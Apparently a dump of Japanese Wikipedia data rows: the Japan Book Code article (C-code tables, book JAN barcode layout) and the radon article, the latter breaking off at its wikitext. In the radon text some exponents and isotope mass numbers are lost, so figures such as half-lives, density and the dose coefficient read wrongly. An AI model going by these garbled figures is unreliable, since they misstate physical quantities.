ISBNが仕様改定により10桁から13桁となった際、日本では2007年1月以降に新刊として発売される書籍から、これまでの10桁の表示の前に 978- を挿入(の上、チェックディジットを再計算)した13桁を表示することとした。改定後のISBNは、これまでの書籍JANコード(の1段目)と一致する。
Cコード(C-CODE)は、図書分類コードとも呼ばれる4桁の数字で、1桁目が販売対象を、2桁目が形態を、3・4桁目が内容をそれぞれ表す。日本図書コードの一部であり、旧「書籍コード」の「分類コード」を引き継いでいる。日本十進分類法 (NDC) の上位2桁を元にしているが、NDCでは4桁目にしか現れない漫画を2桁目で扱うなど、若干の修正が加えられている。
多くの場合書籍の裏、値段の前にCxxxxといった形で記されている。
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第3・4桁目(内容) | [
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"text": "Cコード(C-CODE)は、図書分類コードとも呼ばれる4桁の数字で、1桁目が販売対象を、2桁目が形態を、3・4桁目が内容をそれぞれ表す。日本図書コードの一部であり、旧「書籍コード」の「分類コード」を引き継いでいる。日本十進分類法 (NDC) の上位2桁を元にしているが、NDCでは4桁目にしか現れない漫画を2桁目で扱うなど、若干の修正が加えられている。",
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"text": "第1桁目(販売対象)",
"title": "Cコード"
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"text": "第3・4桁目(内容)",
"title": "Cコード"
}
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| 日本図書コード(にほんとしょコード)は、ISBNに、読者対象・発行形態・内容分類を表すCコードと本体価格を加えたコードで、日本で1981年(昭和56年)から徐々に導入され、図書の裏表紙などに表示されている。 日本図書コードを JANコードの体系に組み入れた書籍JANコードが1990年3月(平成2年)に制定されており、2段のバーコードで表示され、書店などの出版流通で使用されている。「978」から始まる1段目がISBN用で、2段目はCコードなどを表示する。これらのコードの表示は強制ではなく、登録費用もかかるが、日本の商業出版の新刊ではほぼ全て表示されている。なお、ISBN導入前は、日本書籍出版協会と日本出版取次協会によって、1970年に制定された日本独自の「書籍コード」が使用されていたが、1983年に廃止された。 ISBNが仕様改定により10桁から13桁となった際、日本では2007年1月以降に新刊として発売される書籍から、これまでの10桁の表示の前に 978- を挿入(の上、チェックディジットを再計算)した13桁を表示することとした。改定後のISBNは、これまでの書籍JANコード(の1段目)と一致する。 | [[File:Book-Code (Japan).jpg|thumb|250px|図書への表示例<br/>書籍JANコード:2段のバーコード部<br/>日本図書コード:下部3行]]
'''日本図書コード'''(にほんとしょコード)は、'''[[ISBN]]'''に、読者対象・発行形態・内容分類を表す'''Cコード'''と本体価格を加えたコードで、日本で1981年(昭和56年)から徐々に導入され、図書の裏表紙などに表示されている。
日本図書コードを '''[[EANコード|JANコード]]'''の体系に組み入れた'''書籍JANコード'''が1990年3月(平成2年)に制定されており{{Sfn|宮沢厚雄|2015|p=77}}、2段の[[バーコード]]で表示され{{Sfn|宮沢厚雄|2015|p=84}}、書店などの出版流通で使用されている。「978」<!--日本は978のみ-->から始まる1段目がISBN用で、2段目はCコードなどを表示する。これらのコードの表示は強制ではなく、登録費用もかかるが、日本の商業出版の新刊ではほぼ全て表示されている。なお、ISBN導入前は、[[日本書籍出版協会]]と[[日本出版取次協会]]によって、1970年に制定された日本独自の「書籍コード」が使用されていたが、1983年に廃止された{{Sfn|宮沢厚雄|2015|p=78}}。
[[ISBN]]が仕様改定により10桁から13桁となった際、日本では2007年1月以降に新刊として発売される書籍から、これまでの10桁の表示の前に 978- を挿入(の上、[[チェックディジット]]を再計算)した13桁を表示することとした。改定後のISBNは、これまでの書籍JANコード(の1段目)と一致する。
==Cコード==
'''Cコード'''(C-CODE)は、図書分類コードとも呼ばれる4桁の数字で、1桁目が販売対象を、2桁目が形態を、3・4桁目が内容をそれぞれ表す{{Sfn|宮沢厚雄|2015|p=78}}。日本図書コードの一部であり、旧「書籍コード」の「分類コード」を引き継いでいる{{Sfn|宮沢厚雄|2015|p=78}}。[[日本十進分類法]] (NDC) の上位2桁を元にしているが、NDCでは4桁目にしか現れない漫画を2桁目で扱うなど、若干の修正が加えられている。
多くの場合書籍の裏、値段の前にCxxxxといった形で記されている。
; 例
:* コミックスの場合は、C9979(販売対象が9で雑誌扱い、形態が9でコミック、内容が79でコミックス・劇画)
:* 文庫小説の場合は、C0193(販売対象が0で一般、発行形態が1で文庫、内容が93で日本文学、小説・物語)
:* 絵本の場合は、C8771(販売対象が8で児童、発行形態が7で絵本、内容が71で絵画・彫刻)
{{Col|
'''第1桁目(販売対象)'''
*0 一般
*1 教養
*2 実用
*3 専門
*4 検定教科書・消費税非課税品・その他
*5 婦人
*6 学参I(小中)
*7 学参II(高校)
*8 児童
*9 雑誌扱い
|
'''第2桁目(形態)'''
*0 単行本
*1 文庫
*2 新書
*3 全集・双書
*4 ムック・その他
*5 事・辞典
*6 図鑑
*7 絵本
*8 磁性媒体など
*9 コミック
}}
'''第3・4桁目(内容)'''
{{col|
* 00台(総記)
** 00 総記
** 01 百科事典
** 02 年鑑・雑誌
** 04 情報科学
* 10台(哲学・宗教・心理学)
** 10 哲学
** 11 心理(学)
** 12 倫理(学)
** 14 宗教
** 15 仏教
** 16 キリスト教
* 20台(歴史・地理)
** 20 歴史総記
** 21 日本歴史
** 22 外国歴史
** 23 伝記
** 25 地理
** 26 旅行
* 30台(社会科学)
** 30 社会科学総記
** 31 政治-含む国防軍事
** 32 法律
** 33 経済・財政・統計
** 34 経営
** 36 社会
** 37 教育
** 39 民族・風習
* 40台(自然科学)
** 40 自然科学総記
** 41 数学
** 42 物理学
** 43 化学
** 44 天文・地学
** 45 生物学
** 47 医学・歯学・薬学
|
* 50台(工学工業)
** 50 工学・工学総記
** 51 土木
** 52 建築
** 53 機械
** 54 電気
** 55 電子通信
** 56 海事
** 57 採鉱・冶金
** 58 その他の工業
* 60台(産業)
** 60 産業総記
** 61 農林業
** 62 水産業
** 63 商業
** 65 交通・通信
* 70台(芸術・生活)
** 70 芸術総記
** 71 絵画・彫刻
** 72 写真・工芸
** 73 音楽・舞踊
** 74 演劇・映画
** 75 体育・スポーツ
** 76 諸芸・娯楽
** 77 家事
** 78 日記・手帳
** 79 コミックス・劇画
* 80台(語学)
** 80 語学総記
** 81 日本語
** 82 英米語
** 84 ドイツ語
** 85 フランス語
** 87 各国語
* 90台(文学)
** 90 文学総記
** 91 日本文学総記
** 92 日本文学詩歌
** 93 日本文学、小説・物語
** 95 日本文学、評論、随筆、その他
** 97 外国文学小説
** 98 外国文学、その他
}}
==書籍JANコード==
{{larger|上段: [9] [7] [8] [I<sub>1</sub>][I<sub>2</sub>][I<sub>3</sub>][I<sub>4</sub>][I<sub>5</sub>][I<sub>6</sub>][I<sub>7</sub>][I<sub>8</sub>][I<sub>9</sub>] [D]}}
{{indent|
; [9][7][8]:プリフィックス
; [I<sub>1</sub>]…[I<sub>9</sub>]:ISBN(国記号+出版者記号+書名記号)
; [D]:チェックディジット
}}
{{larger|下段: [1] [9] [2] [C<sub>1</sub>][C<sub>2</sub>][C<sub>3</sub>][C<sub>4</sub>][P<sub>1</sub>][P<sub>2</sub>][P<sub>3</sub>][P<sub>4</sub>][P<sub>5</sub>] [D]}}
{{indent|
; [1][9][2]:書籍JANコードの2段目を示す(日本)。
; [C<sub>1</sub>]…[C<sub>4</sub>]:図書分類を示す(日本独自)。
; [P<sub>1</sub>]…[P<sub>5</sub>]:本体価格(税抜き)ただし、下段の最初3桁が191の場合は税込み価格。
; [D]:チェックディジット
}}
== 出典 ==
{{脚注ヘルプ}}
<references/>
== 参考文献 ==
* {{Cite book|和書|title= 図書館情報資源概論|edition= 全訂第3版|author= 宮沢厚雄|date= 2015-09-30|publisher= 理想社|isbn= 978-4-650-01092-3|ref= harv}}
== 関連項目 ==
* [[ISBN]]
* [[日本十進分類法]]
* {{ill2|bookland|en|bookland}} - 10桁のISBNが枯渇したため、13桁のEANコードに移行する際に作成された書籍用の架空の国(コード)。接頭辞978。
== 外部リンク ==
* [https://www.books.or.jp/ 出版書誌データベース]、Cコードが確認できる。
{{DEFAULTSORT:にほんとしよこおと}}
[[Category:出版]]
[[Category:出版用語]]
[[Category:識別子]] | null | 2023-05-12T15:19:24Z | false | false | false | [
"Template:Ill2",
"Template:Sfn",
"Template:Col",
"Template:Larger",
"Template:Indent",
"Template:脚注ヘルプ",
"Template:Cite book"
]
| https://ja.wikipedia.org/wiki/%E6%97%A5%E6%9C%AC%E5%9B%B3%E6%9B%B8%E3%82%B3%E3%83%BC%E3%83%89 |
6,818 | ラドン | ラドン(英: radon [ˈreɪdɒn]、独: Radon [ˈraːdon, raˈdoːn])は、原子番号86の元素。元素記号は Rn。
ドルンはこの元素を「放射」を意味する “emanation” と呼んだが、ラザフォードは “radium emanation” と呼び、ウィリアム・ラムゼーはラテン語で「光る」を意味する “nitens” にちなみ「ニトン (Niton)」と呼んだ。結局、1923年になってラジウムから生まれる気体という意味から、ラテン語の radius を語源とする “radon” とすることが化学者たちの国際機関により決定した。
ラジウムに接した大気が放射性を持つということはキュリー夫妻が発見していたが、1900年になって、ドイツの物理学者フリードリヒ・エルンスト・ドルンが元素であることを発見し、アーネスト・ラザフォードとフレデリック・ソディがトリウムから発見していた放射性の気体と同一であることを示した。
ラドンは無味無臭、無色の気体であるため、人間が知覚することはできない。標準状態では単原子分子として存在しており、その密度は9.73 kg/mと海面における大気の密度1.217 kg/mのおよそ8倍である。標準状態では無色であるが、-71.15 °C(202 K)の融点以下まで冷却して固体状態になると黄色から赤橙色の鮮やかな放射線ルミネセンス(英語版)を発する。また、結露して液体状態になると青色から薄紫色に発光する。水に対するラドンの溶解度は他の貴ガス元素と比較して、キセノンの約2倍、クリプトンの約4倍、アルゴンの約8倍、ネオンやヘリウムの約20倍である。有機溶剤やプラスチックに対するラドンの溶解度は水に対するそれよりも約50倍大きい。
ラドンは価電子がゼロである貴ガス元素に属している。そのような元素は最外殻電子が閉殻であることに起因して電子が最低のエネルギー準位を形成し、安定化する。そのため、ラドンは大部分の一般的な化学反応(例えば燃焼など)に対して不活性である。最外殻の電子1つを引き離すために必要な第一イオン化エネルギーは1037 kJ/mol。貴ガス元素は周期表上において原子番号が大きくなるほど電気陰性度が大きくなる周期的な傾向がみられるため、貴ガス元素の中で最も原子番号の大きなラドンは貴ガス元素の中では反応性が高い。初期の研究において、ラドンの水和物の安定性は塩素 (Cl2)もしくは二酸化硫黄 (SO2)と同程度であり、硫化水素 (H2S)のそれよりはかなり高いと結論付けられている。
研究コストの高さと放射能のために、ラドンの実験的な化学研究はあまり行われてこなかった。そのため、ラドン化合物の報告はフッ化物と酸化物に関するわずかな報告があるのみである。ラドンは2、3の強力な酸化剤によって酸化することができ、例えばフッ素によって二フッ化ラドンが形成される。二フッ化ラドンは250 °C以上の温度でそれぞれの元素に分解する。低揮発性の物質でありRnF2の組成を持つと考えられているが、ラドンの半減期の短さと放射能のために詳細な性質を研究することはできていない。二フッ化ラドン分子の理論的研究によれば、Rn-F結合の結合距離は2.08 Åであり、二フッ化キセノンよりは熱力学的に安定であると予測されている。よりフッ素数の多いRnF4およびRnF6の存在が主張されており、それらは安定な物質であると計算されているが、実際に合成されたかどうかは疑わしい。例えば、八面体分子構造を取るRnF6は、二フッ化物よりも更に低いエンタルピーを有すると予測されている。[ RnF ]は以下の反応によって形成されると考えられている。
酸化ラドンは他の数少ない報告されているラドン化合物の一つであり、三酸化物のみが確認されている。カルボニルラドン (RnCO)は安定な化合物であり、直線形分子構造を取ると予測されている。二原子分子であるRn2およびRnXeはスピン軌道相互作用によって著しく安定化することが分かっている。フラーレンの籠の中にラドンを内包させたものは腫瘍に対する薬剤として提案されている。同じ貴ガス元素であるキセノンにXe (VIII)が存在しているにもかかわらず、Rn (VIII)の存在は主張されていない。これは、XeF8が熱力学的に不安定であることから、RnF8は更に不安定であるはずだと考えられているためである。最も安定なRn (VIII)化合物は過ラドン酸バリウム (Ba2RnO6)であると予測されており、それは過キセノン酸バリウム (Ba2XeO6)に類似しているとされる。Rn (VIII)の不安定さは、不活性電子対効果として知られている6s軌道の相対的な安定性によるものである。
最も半減期の長い Rn は U を始まりとするウラン系列に属し、起源は U(半減期4.468×10年) → U(2.455×10年) → Th(7.538×10年) → Ra(1600年) → Rn(3.8日)である。
Rn の壊変生成物は数十分の半減期で高エネルギーのα線3本及びβ線2本の放射線を出して Pb(約22年)に至る。
ラドンの同位体には特に名前が付いているものがある。Rn を狭義にラドン、Rn をトロン(thoron、記号 Tn)、Rn をアクチノン(actinon、記号 An)と呼ぶ。ラジウム、トリウム、アクチニウムの壊変によって得られることに由来し、それぞれ別の気体と考えられていた頃の名残である。
なお、Rn は WHO の下部機関 IARC より発癌性があると (Type1) 勧告されており、土壌に含まれるラドンが地下室に蓄積することなど、危険性が指摘されている。
ラドンの上位核種であるウランは地下深部にあってマグマの上昇とともに地表にもたらされる。マグマが比較的ゆっくりと固まると、花崗岩に見られるように長石、石英、雲母の結晶が大きく成長する。その結果として、ウランなど他の元素成分は結晶間の隙間に追いやられる。風化によって結晶間のウランが岩石から解き放たれ、河川上流など酸化環境で水に溶けやすいウラニル錯体として水によって運搬される。水中ウランは扇状地や断層など河川水が地下水化しやすい還元環境で堆積層に濃集を繰り返し、ウラン、ラジウム、ラドンの濃度の高い地層が形成される。
放射線源(放射性同位体)として利用されていたが、現在は他のもの(コバルト、ストロンチウムなど)に置き換えられている。
地下水中のラドンの調査は、掘り返すことの困難な地下構造を知る上で重要である。ラドンの拡散速度及び地下水の垂直流動速度に比較して、ラドン半減期の短さから地層単位で異なるラドン濃度を反映しやすい。短いスケールとしての、水のトレーサーとしての利用がある。地震の先行現象としての地下水ラドン濃度変化は、1970年代より数多く報告されているが、その機構はまだ十分解明されてはいない。
保健衛生面からは、ラドンは気体として呼吸器に取り込まれ、その娘核種が肺胞に付着することでウラン鉱山労働者などに放射線障害を起こしやすい。公衆の発ガン性リスクとしては、石造りの家、地下室などの空気中ラドン濃度調査が重要である。
ラドンによる体内被曝量は、日本平均で年間0.4 mSv、世界平均で年間1.28 mSvと言われている。
温泉の含有成分としてラドンを含むものは放射能泉として分類される。ラドンおよびそれ以後の各種放射性同位体が放つ放射線が健康に寄与するとの考え方(ホルミシス効果)があり、痛風、血圧降下、循環器障害の改善や悪性腫瘍の成長を阻害するなどの効能が信じられている。
放射能泉(含放射能-ラドン泉)とは、ラドン222の濃度が673 Bq/L以上のものとし、ラジウムが100 ng/L以上含まれるものである。オーストリアや日本、ロシアをはじめ、世界中に、療養のために活用されるラドン泉やラドン洞窟が存在する。また、ラドン222の濃度が111 Bq/L以上のものを療養泉弱放射能泉とし、ラドン222の濃度が74 Bq/L以上のものを鉱泉という。
1940年にオーストリアのバート・ガスタインのタウエルン山でラドン泉が発見され、1950年代からインスブルック大学医学部とザルツブルク大学(英語版)理学部の共同研究で、ラドン濃度と治療効果との関連性について研究が開始された。研究の結果、臨床医学的に有効である病気には、強直性脊椎炎(ベヒテレフ病)、リュウマチ性慢性多発性関節炎、変形性関節症、喘息、アトピー性皮膚炎などが挙げられ、ラドン (Rn) 放射能レベルが300 - 3000 Bq/Lと高い世界の全ての温泉では、適応症のリストが経験的に同じようなものになるとされる。バート・ガスタインのラドン泉ではラドン222の濃度が110 Bq/L以上で放射能療養泉と呼ばれ、年間約10,000人の患者が訪れる。また、バート・ガスタインの近郊には、ガスタイン療養トンネルがあり、「トンネル療法」が実践されている。治療方式は、電動トロッコでトンネル内に入り、約2.5 km奥にある4か所の治療ステーションで一定時間ベッドに臥床する。ラドン濃度は166,500 Bq/mで、トンネル内温度は37 - 41.5 °C、湿度は70 - 95%である。標高は1,888 - 2,238 m。
日本国内では三朝温泉(鳥取県三朝町)、有馬温泉(兵庫県神戸市)、るり渓温泉(京都府南丹市)、湯来温泉(広島市佐伯区)などがラジウム温泉として知られている。特に三朝温泉は療養泉として古くから様々な患者を受け入れている。
ラドンは喫煙に次ぐ肺癌のリスク要因とされ、これまでに、住居内におけるラドン濃度と肺癌リスクの関係について多数の研究が行われている。それらの研究を統合したメタアナリシスの結果によれば、屋内ラドンによるリスクは線量に依存し、時間加重平均暴露値として150 Bq/mあたり24%の肺癌リスクの増加になることがわかった。同様に大規模な症例数を用いた解析として、欧州9ヶ国の13の症例対照研究を対象にしたプール解析の結果は、線量応答反応は LNT モデルに従っており、統計学的に有意な正の値で、100 Bq/m(ランダム誤差を調整した暴露推定値)あたり16%の肺癌リスクの増加を示し、他の組織型に比べて小細胞肺癌のリスクが高く、ラドンに暴露した鉱夫の小細胞癌の疫学的研究とも矛盾しない結果が得られた。
屋内ラドンの吸入による被曝線量 D [mSv] は、UNSCEAR により次式で表される。
D = QKTF
Q は空気中のラドン濃度 [Bq/m]、K は線量換算係数で、値は9×10 mSv/(Bq h /m) が用いられる。T は所在期間で、年間の逗留率を0.8と仮定すると、0.8×8760 h/年。F はラドン壊変生成核種のラドンに対するポテンシャルアルファエネルギーの比で、屋内の値として0.4が用いられる。
これらの値を用いて計算すると、屋内ラドン濃度の世界の算術平均は40 Bq/mなので、年間の被曝線量 D は、(40 Bq/m) × (9×10 mSv/(Bq h/m)) × (0.8×8760 h/年) × 0.4 ≒ 1 mSv/年と見積もられる。日本の屋内ラドン濃度の算術平均は15.5 Bq/mで、年間の被曝線量 D は0.39 mSv/年となる。100 Bq/mなら、2.5 mSv/年と換算される。
2005年6月、世界保健機関 (WHO) は、ラドンは喫煙に次ぐ肺癌のリスク要因とし、これまでに、住居内におけるラドン濃度と肺癌リスクの関係について多数の研究が行われているとして、放射性であるラドンが肺癌の重要な原因であることを警告した。
同機関は、各国の肺癌の発生率を低減させる活動の一部として、各地域におけるラドンガスに関連する健康被害の軽減を支援するための初の国際ラドンプロジェクトを2005年に発足させ、2009年にはその成果を「屋内ラドンに関するWTOハンドブック」として公表した。
2004年、欧州の疫学調査の基礎データを解析した結果、100 Bq/mレベルというラドン濃度環境においても肺がんのリスクが有意に高く、その線量-効果関係は、閥値無しで直線的な関係(どれほど微量な線量であっても、それに見合った分だけ発がん確率が上昇する)にあるという論文が発表された。
2005年8月、WHO は、高自熱放射線とラドンに関する第6回国際会議 (6th lnt. Conf. on High Levels of Natural Radiation and Radon Areas) を開催し、RRR (Residential Radon Risk) に関するラドンプロジェクトを開始した。200 - 400Bq/m3の室内ラドン濃度を限界濃度あるいは基準濃度として許容している国が多数である。
アメリカの環境保護庁 (EPA) の見解によると、ラドンに安全量はなく、少しの被曝でも癌になる危険性をもたらすものとされ、米国科学アカデミーは毎年15,000から22,000人のアメリカ人が屋内のラドンが関係する肺癌によって命を落としていると推定している。 | [
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"text": "ラドン(英: radon [ˈreɪdɒn]、独: Radon [ˈraːdon, raˈdoːn])は、原子番号86の元素。元素記号は Rn。",
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"text": "ドルンはこの元素を「放射」を意味する “emanation” と呼んだが、ラザフォードは “radium emanation” と呼び、ウィリアム・ラムゼーはラテン語で「光る」を意味する “nitens” にちなみ「ニトン (Niton)」と呼んだ。結局、1923年になってラジウムから生まれる気体という意味から、ラテン語の radius を語源とする “radon” とすることが化学者たちの国際機関により決定した。",
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"text": "ラジウムに接した大気が放射性を持つということはキュリー夫妻が発見していたが、1900年になって、ドイツの物理学者フリードリヒ・エルンスト・ドルンが元素であることを発見し、アーネスト・ラザフォードとフレデリック・ソディがトリウムから発見していた放射性の気体と同一であることを示した。",
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"text": "ラドンは無味無臭、無色の気体であるため、人間が知覚することはできない。標準状態では単原子分子として存在しており、その密度は9.73 kg/mと海面における大気の密度1.217 kg/mのおよそ8倍である。標準状態では無色であるが、-71.15 °C(202 K)の融点以下まで冷却して固体状態になると黄色から赤橙色の鮮やかな放射線ルミネセンス(英語版)を発する。また、結露して液体状態になると青色から薄紫色に発光する。水に対するラドンの溶解度は他の貴ガス元素と比較して、キセノンの約2倍、クリプトンの約4倍、アルゴンの約8倍、ネオンやヘリウムの約20倍である。有機溶剤やプラスチックに対するラドンの溶解度は水に対するそれよりも約50倍大きい。",
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"text": "ラドンは価電子がゼロである貴ガス元素に属している。そのような元素は最外殻電子が閉殻であることに起因して電子が最低のエネルギー準位を形成し、安定化する。そのため、ラドンは大部分の一般的な化学反応(例えば燃焼など)に対して不活性である。最外殻の電子1つを引き離すために必要な第一イオン化エネルギーは1037 kJ/mol。貴ガス元素は周期表上において原子番号が大きくなるほど電気陰性度が大きくなる周期的な傾向がみられるため、貴ガス元素の中で最も原子番号の大きなラドンは貴ガス元素の中では反応性が高い。初期の研究において、ラドンの水和物の安定性は塩素 (Cl2)もしくは二酸化硫黄 (SO2)と同程度であり、硫化水素 (H2S)のそれよりはかなり高いと結論付けられている。",
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"text": "研究コストの高さと放射能のために、ラドンの実験的な化学研究はあまり行われてこなかった。そのため、ラドン化合物の報告はフッ化物と酸化物に関するわずかな報告があるのみである。ラドンは2、3の強力な酸化剤によって酸化することができ、例えばフッ素によって二フッ化ラドンが形成される。二フッ化ラドンは250 °C以上の温度でそれぞれの元素に分解する。低揮発性の物質でありRnF2の組成を持つと考えられているが、ラドンの半減期の短さと放射能のために詳細な性質を研究することはできていない。二フッ化ラドン分子の理論的研究によれば、Rn-F結合の結合距離は2.08 Åであり、二フッ化キセノンよりは熱力学的に安定であると予測されている。よりフッ素数の多いRnF4およびRnF6の存在が主張されており、それらは安定な物質であると計算されているが、実際に合成されたかどうかは疑わしい。例えば、八面体分子構造を取るRnF6は、二フッ化物よりも更に低いエンタルピーを有すると予測されている。[ RnF ]は以下の反応によって形成されると考えられている。",
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"text": "酸化ラドンは他の数少ない報告されているラドン化合物の一つであり、三酸化物のみが確認されている。カルボニルラドン (RnCO)は安定な化合物であり、直線形分子構造を取ると予測されている。二原子分子であるRn2およびRnXeはスピン軌道相互作用によって著しく安定化することが分かっている。フラーレンの籠の中にラドンを内包させたものは腫瘍に対する薬剤として提案されている。同じ貴ガス元素であるキセノンにXe (VIII)が存在しているにもかかわらず、Rn (VIII)の存在は主張されていない。これは、XeF8が熱力学的に不安定であることから、RnF8は更に不安定であるはずだと考えられているためである。最も安定なRn (VIII)化合物は過ラドン酸バリウム (Ba2RnO6)であると予測されており、それは過キセノン酸バリウム (Ba2XeO6)に類似しているとされる。Rn (VIII)の不安定さは、不活性電子対効果として知られている6s軌道の相対的な安定性によるものである。",
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"text": "最も半減期の長い Rn は U を始まりとするウラン系列に属し、起源は U(半減期4.468×10年) → U(2.455×10年) → Th(7.538×10年) → Ra(1600年) → Rn(3.8日)である。",
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"text": "Rn の壊変生成物は数十分の半減期で高エネルギーのα線3本及びβ線2本の放射線を出して Pb(約22年)に至る。",
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"text": "ラドンの同位体には特に名前が付いているものがある。Rn を狭義にラドン、Rn をトロン(thoron、記号 Tn)、Rn をアクチノン(actinon、記号 An)と呼ぶ。ラジウム、トリウム、アクチニウムの壊変によって得られることに由来し、それぞれ別の気体と考えられていた頃の名残である。",
"title": "同位体"
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"text": "なお、Rn は WHO の下部機関 IARC より発癌性があると (Type1) 勧告されており、土壌に含まれるラドンが地下室に蓄積することなど、危険性が指摘されている。",
"title": "同位体"
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"text": "ラドンの上位核種であるウランは地下深部にあってマグマの上昇とともに地表にもたらされる。マグマが比較的ゆっくりと固まると、花崗岩に見られるように長石、石英、雲母の結晶が大きく成長する。その結果として、ウランなど他の元素成分は結晶間の隙間に追いやられる。風化によって結晶間のウランが岩石から解き放たれ、河川上流など酸化環境で水に溶けやすいウラニル錯体として水によって運搬される。水中ウランは扇状地や断層など河川水が地下水化しやすい還元環境で堆積層に濃集を繰り返し、ウラン、ラジウム、ラドンの濃度の高い地層が形成される。",
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"text": "放射線源(放射性同位体)として利用されていたが、現在は他のもの(コバルト、ストロンチウムなど)に置き換えられている。",
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"text": "温泉の含有成分としてラドンを含むものは放射能泉として分類される。ラドンおよびそれ以後の各種放射性同位体が放つ放射線が健康に寄与するとの考え方(ホルミシス効果)があり、痛風、血圧降下、循環器障害の改善や悪性腫瘍の成長を阻害するなどの効能が信じられている。",
"title": "ラドン温泉"
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"text": "放射能泉(含放射能-ラドン泉)とは、ラドン222の濃度が673 Bq/L以上のものとし、ラジウムが100 ng/L以上含まれるものである。オーストリアや日本、ロシアをはじめ、世界中に、療養のために活用されるラドン泉やラドン洞窟が存在する。また、ラドン222の濃度が111 Bq/L以上のものを療養泉弱放射能泉とし、ラドン222の濃度が74 Bq/L以上のものを鉱泉という。",
"title": "ラドン温泉"
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"text": "1940年にオーストリアのバート・ガスタインのタウエルン山でラドン泉が発見され、1950年代からインスブルック大学医学部とザルツブルク大学(英語版)理学部の共同研究で、ラドン濃度と治療効果との関連性について研究が開始された。研究の結果、臨床医学的に有効である病気には、強直性脊椎炎(ベヒテレフ病)、リュウマチ性慢性多発性関節炎、変形性関節症、喘息、アトピー性皮膚炎などが挙げられ、ラドン (Rn) 放射能レベルが300 - 3000 Bq/Lと高い世界の全ての温泉では、適応症のリストが経験的に同じようなものになるとされる。バート・ガスタインのラドン泉ではラドン222の濃度が110 Bq/L以上で放射能療養泉と呼ばれ、年間約10,000人の患者が訪れる。また、バート・ガスタインの近郊には、ガスタイン療養トンネルがあり、「トンネル療法」が実践されている。治療方式は、電動トロッコでトンネル内に入り、約2.5 km奥にある4か所の治療ステーションで一定時間ベッドに臥床する。ラドン濃度は166,500 Bq/mで、トンネル内温度は37 - 41.5 °C、湿度は70 - 95%である。標高は1,888 - 2,238 m。",
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"text": "ラドンは喫煙に次ぐ肺癌のリスク要因とされ、これまでに、住居内におけるラドン濃度と肺癌リスクの関係について多数の研究が行われている。それらの研究を統合したメタアナリシスの結果によれば、屋内ラドンによるリスクは線量に依存し、時間加重平均暴露値として150 Bq/mあたり24%の肺癌リスクの増加になることがわかった。同様に大規模な症例数を用いた解析として、欧州9ヶ国の13の症例対照研究を対象にしたプール解析の結果は、線量応答反応は LNT モデルに従っており、統計学的に有意な正の値で、100 Bq/m(ランダム誤差を調整した暴露推定値)あたり16%の肺癌リスクの増加を示し、他の組織型に比べて小細胞肺癌のリスクが高く、ラドンに暴露した鉱夫の小細胞癌の疫学的研究とも矛盾しない結果が得られた。",
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"text": "屋内ラドンの吸入による被曝線量 D [mSv] は、UNSCEAR により次式で表される。",
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"text": "D = QKTF",
"title": "屋内ラドンの危険性"
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"title": "屋内ラドンの危険性"
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"text": "2005年6月、世界保健機関 (WHO) は、ラドンは喫煙に次ぐ肺癌のリスク要因とし、これまでに、住居内におけるラドン濃度と肺癌リスクの関係について多数の研究が行われているとして、放射性であるラドンが肺癌の重要な原因であることを警告した。",
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"text": "同機関は、各国の肺癌の発生率を低減させる活動の一部として、各地域におけるラドンガスに関連する健康被害の軽減を支援するための初の国際ラドンプロジェクトを2005年に発足させ、2009年にはその成果を「屋内ラドンに関するWTOハンドブック」として公表した。",
"title": "屋内ラドンの危険性"
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"text": "2005年8月、WHO は、高自熱放射線とラドンに関する第6回国際会議 (6th lnt. Conf. on High Levels of Natural Radiation and Radon Areas) を開催し、RRR (Residential Radon Risk) に関するラドンプロジェクトを開始した。200 - 400Bq/m3の室内ラドン濃度を限界濃度あるいは基準濃度として許容している国が多数である。",
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"text": "アメリカの環境保護庁 (EPA) の見解によると、ラドンに安全量はなく、少しの被曝でも癌になる危険性をもたらすものとされ、米国科学アカデミーは毎年15,000から22,000人のアメリカ人が屋内のラドンが関係する肺癌によって命を落としていると推定している。",
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| ラドンは、原子番号86の元素。元素記号は Rn。 | {{Otheruses|元素}}
{{Elementbox
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|japanese name=ラドン
|number=86
|symbol=Rn
|pronounce={{IPAc-en|ˈ|r|eɪ|d|ɒ|n}} {{respell|RAY|don}}
|left=[[アスタチン]]
|right=[[フランシウム]]
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|image size=
|image name 2=
|image name 2 comment=
|atomic mass=(222)
|atomic mass 2=
|atomic mass comment=
|electron configuration=[[[キセノン|Xe]]] 4f<sup>14</sup> 5d<sup>10</sup> 6s<sup>2</sup> 6p<sup>6</sup>
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|color=
|phase=気体
|phase comment=
|density gplstp=9.73
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|triple point kPa=
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|heat fusion pressure=
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|vapor pressure comment=
|crystal structure=face-centered cubic
|japanese crystal structure=[[面心立方格子構造]]
|oxidation states='''2'''
|oxidation states comment=
|electronegativity=2.2
|number of ionization energies=1
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|3rd ionization energy=
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|covalent radius=150
|Van der Waals radius=220
|magnetic ordering=[[反磁性]]
|electrical resistivity=
|electrical resistivity at 0=
|electrical resistivity at 20=
|thermal conductivity=3.61 m
|thermal conductivity 2=
|thermal diffusivity=
|thermal expansion=
|thermal expansion at 25=
|speed of sound=
|speed of sound rod at 20=
|speed of sound rod at r.t.=
|Young's modulus=
|Shear modulus=
|Bulk modulus=
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|Mohs hardness=
|Vickers hardness=
|Brinell hardness=
|CAS number=10043-92-2
|isotopes=
{{Elementbox_isotopes_decay | mn=[[ラドン210|210]] | sym=Rn
| na=[[人工放射性同位体|syn]] | hl=[[1 E3 s|2.4 h]]
| dm=[[アルファ崩壊|α]] | de=6.404 | pn=[[ポロニウム206|206]] | ps=[[ポロニウム|Po]]}}
{{Elementbox_isotopes_decay2 | mn=[[ラドン211|211]] | sym=Rn
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| dm1=[[電子捕獲|ε]] | de1=2.892 | pn1=[[アスタチン211|211]] | ps1=[[アスタチン|At]]
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{{Elementbox_isotopes_decay | mn=[[ラドン222|222]] | sym=Rn
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| dm=[[アルファ崩壊|α]] | de=5.590 | pn=[[ポロニウム218|218]] | ps=[[ポロニウム|Po]]}}
{{Elementbox_isotopes_decay | mn=[[ラドン224|224]] | sym=Rn
| na=[[人工放射性同位体|syn]] | hl=[[1 E3 s|1.8 h]]
| dm=[[ベータ崩壊|β<sup>−</sup>]] | de=0.8 | pn=[[フランシウム224|224]] | ps=[[フランシウム|Fr]]}}
|isotopes comment=
}}
'''ラドン'''({{lang-en-short|radon}} {{IPA-en|ˈreɪdɒn|}}、{{lang-de-short|Radon}} {{IPA-de|ˈraːdon, raˈdoːn|}})は、[[原子番号]]86の[[元素]]。[[元素記号]]は '''Rn'''。
== 名称 ==
